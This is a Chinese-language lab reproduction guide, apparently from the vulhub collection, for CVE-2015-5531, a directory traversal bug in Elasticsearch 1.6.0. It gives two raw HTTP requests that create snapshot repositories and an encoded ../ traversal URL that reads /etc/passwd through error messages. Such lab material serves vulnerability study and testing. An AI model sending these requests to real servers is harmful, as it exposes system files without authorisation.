ElasticSearch 目录穿越漏洞(CVE-2015-5531)

jre版本:openjdk:8-jre

elasticsearch版本:v1.6.0

影响版本:1.6.1以下

原理

参考文章

说明:

elasticsearch 1.5.1及以前,无需任何配置即可触发该漏洞。之后的新版,配置文件elasticsearch.yml中必须存在path.repo,该配置值为一个目录,且该目录必须可写,等于限制了备份仓库的根位置。不配置该值,默认不启动这个功能。

漏洞复现

1. 新建一个仓库

PUT /_snapshot/test HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108

{
    "type": "fs",
    "settings": {
        "location": "/usr/share/elasticsearch/repo/test" 
    }
}

2. 创建一个快照

PUT /_snapshot/test2 HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 108

{
    "type": "fs",
    "settings": {
        "location": "/usr/share/elasticsearch/repo/test/snapshot-backdata" 
    }
}

3. 目录穿越读取任意文件

访问 http://your-ip:9200/_snapshot/test/backdata%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

如上图,在错误信息中包含文件内容(编码后),对其进行解码即可获得文件:

Copied From: vulhub/elasticsearch/CVE-2015-5531